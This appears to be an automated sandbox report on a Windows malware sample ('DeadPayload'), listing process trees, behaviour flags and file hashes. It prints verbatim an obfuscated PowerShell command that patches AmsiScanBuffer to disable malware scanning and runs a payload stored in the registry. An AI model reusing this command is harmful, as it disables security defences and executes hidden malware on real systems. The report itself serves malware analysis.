PID 3608 wrote to memory of 4868 3608 dllhost.exe 66 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:380
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{77de3eae-fc5e-408f-a8ef-a3db4f452c92}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3608
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1140 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EQBIIhRENDtA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cGzcsTyECNLkoe,[Parameter(Position=1)][Type]$uTUhTvWOym)$HlGqUSaRUiK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+'o'+'r'+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+'l'+''+[Char](101)+'d,'+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$HlGqUSaRUiK.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+','+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$cGzcsTyECNLkoe).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$HlGqUSaRUiK.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'','Pu'+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$uTUhTvWOym,$cGzcsTyECNLkoe).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+'m'+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $HlGqUSaRUiK.CreateType();}$xjAeoRBFtfFny=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+'d'+'l'+'l')}).GetType('M'+[Char](105)+''+'c'+'r'+'o'+''+'s'+'o'+[Char](102)+''+[Char](116)+''+'.'+'Wi'+'n'+'3'+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+'f'+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$OgMLlzOraoWgfQ=$xjAeoRBFtfFny.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+'o'+'cA'+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+'s'+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DSaLpukXGzQNmewhuDe=EQBIIhRENDtA @([String])([IntPtr]);$ZfRmbRdujRoJLvUPwTCkoL=EQBIIhRENDtA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NjRyPgCIXDu=$xjAeoRBFtfFny.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+'o'+''+'d'+''+[Char](117)+'leH'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+'2.d'+[Char](108)+''+[Char](108)+'')));$AYnClYbRHUmXXZ=$OgMLlzOraoWgfQ.Invoke($Null,@([Object]$NjRyPgCIXDu,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'y'+'A'+'')));$fwbijCNhiwKMUyBvi=$OgMLlzOraoWgfQ.Invoke($Null,@([Object]$NjRyPgCIXDu,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+'l'+''+'P'+''+[Char](114)+'ot'+[Char](101)+''+'c'+''+[Char](116)+'')));$apWMGlr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AYnClYbRHUmXXZ,$DSaLpukXGzQNmewhuDe).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'dl'+[Char](108)+'');$KwYOAGGXwWLWJfXzU=$OgMLlzOraoWgfQ.Invoke($Null,@([Object]$apWMGlr,[Object](''+[Char](65)+'m'+[Char](115)+'iS'+'c'+''+'a'+''+[Char](110)+'B'+'u'+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$DyMLLKaWBo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fwbijCNhiwKMUyBvi,$ZfRmbRdujRoJLvUPwTCkoL).Invoke($KwYOAGGXwWLWJfXzU,[uint32]8,4,[ref]$DyMLLKaWBo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KwYOAGGXwWLWJfXzU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fwbijCNhiwKMUyBvi,$ZfRmbRdujRoJLvUPwTCkoL).Invoke($KwYOAGGXwWLWJfXzU,[uint32]8,0x20,[ref]$DyMLLKaWBo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue('De'+[Char](97)+''+'d'+'s'+'t'+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1448
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1660
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2128
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2688
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2868
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3372
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3456 -
C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3212
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C:\Users\Public\DeadMan.exe"C:\Users\Public\DeadMan.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5076
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C:\Users\Public\DeadRoot.exe"C:\Users\Public\DeadRoot.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:432
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3572
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3760
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3912
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3648
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1716
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:5008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1628
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:864
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4908
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1944
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4860
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:5068
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 92a780f4bdf615291a76ffc3fb4fd522 jEMkjnBqlECQQ1TN2PxqvQ.0.1.0.0.01⤵
- Sets service image path in registry
PID:624 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3948
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:4924
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4300
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3956
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3792
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
34KB
MD5de5bb947d72f5167c12b02f85cb0ef32
SHA1cb5b5b754e196ec3072816cb6e250d7dd703752b
SHA25666f4ceed7b605df523601dc9a35ccf271be390f4c1d12772c6a047ea970081cd
SHA51226763a5ffc87a77b7e25687d900d32baf67c9e45e51a970c683dc1499c37c52b83b5757c3929cf117af8c5fd494491e063fdf88be9609867bd98379d06e83c33
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Filesize
151KB
MD5b8479a23c22cf6fc456e197939284069
SHA1b2d98cc291f16192a46f363d007e012d45c63300
SHA25618294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f
SHA512786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82